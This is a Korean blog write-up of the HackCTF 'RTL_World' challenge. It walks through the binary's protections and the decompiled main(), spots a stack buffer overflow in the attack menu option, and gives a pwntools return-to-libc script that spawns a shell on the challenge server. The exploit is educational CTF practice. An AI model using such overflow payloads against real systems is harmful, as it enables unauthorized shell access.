문제 이름이 RTL_WORLD인걸로 봐서 RTL을 이용하는 문제인것 같다.
파일 실행했을때
Binary Boss정보를 볼려고 1을 입력하니 다음과 같이 적용된 보호기법과
Boss가 살고있는 주소와 체력이 나왔다.
[Binary Boss]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ASLR: Enable
Binary Boss live in 0xf7f44468
Binart Boss HP is 140 + Armor + 4
======= Welcome to RTL World =======
1) Information the Binary Boss!
2) Make Money
3) Get the System Armor
4) Get the Shell Sword
5) Kill the Binary Boss!!!
6) Exit
====================================
>>>
2번 Make Money를 통하여 돈을 모으고 3번과 4번에 System Armor와 Shell Sword를 얻어봤다.
System Armor값과 Sword값 그리고 보스의 live 주소가 뭔지 파악하기 위하여 IDA로 까보았다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+10h] [ebp-90h]
char buf; // [esp+14h] [ebp-8Ch]
void *v6; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *s1; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v6 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
Get_Money(gold);
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\n", v6);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
case 5에 buf에 0x400을 받고 buf는 [ebp-8Ch]값인 140byte이다.
따라서 BOF가 가능하다.
NX bit가 걸려있어서 RTL로 문제를 풀라는것같다.
RTL을 위해서 system함수 주소와 /bin/sh 주소가 필요하다.
payload를 구상하자면
dummy[144] + system 함수주소 + dummy 4 + /bin/sh 주소
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3010)
system_addr = 0x80485b0
binsh_addr = 0x8048eb1
payload = b"A"*144
payload += p32(system_addr)
payload += b"A"*4
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
코드를 돌렸는데 무한루프에 빠진것같다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3010)
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
system_addr = 0x80485b0
binsh_addr = 0x8048eb1
payload = b"A"*144
payload += p32(system_addr)
payload += b"A"*4
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
코드를 추가해주고 돌려주면
'Write-Up > HackCTF' 카테고리의 다른 글
[HackCTF] poet 풀이 (0) | 2022.03.14 |
---|---|
[HackCTF] RTL_Core 풀이 (0) | 2021.11.24 |
[HackCTF] Random Key 풀이 (0) | 2021.10.06 |
[HackCTF] You are Silver 풀이 (0) | 2021.10.06 |
[HackCTF] g++ pwn 풀이 (0) | 2021.09.30 |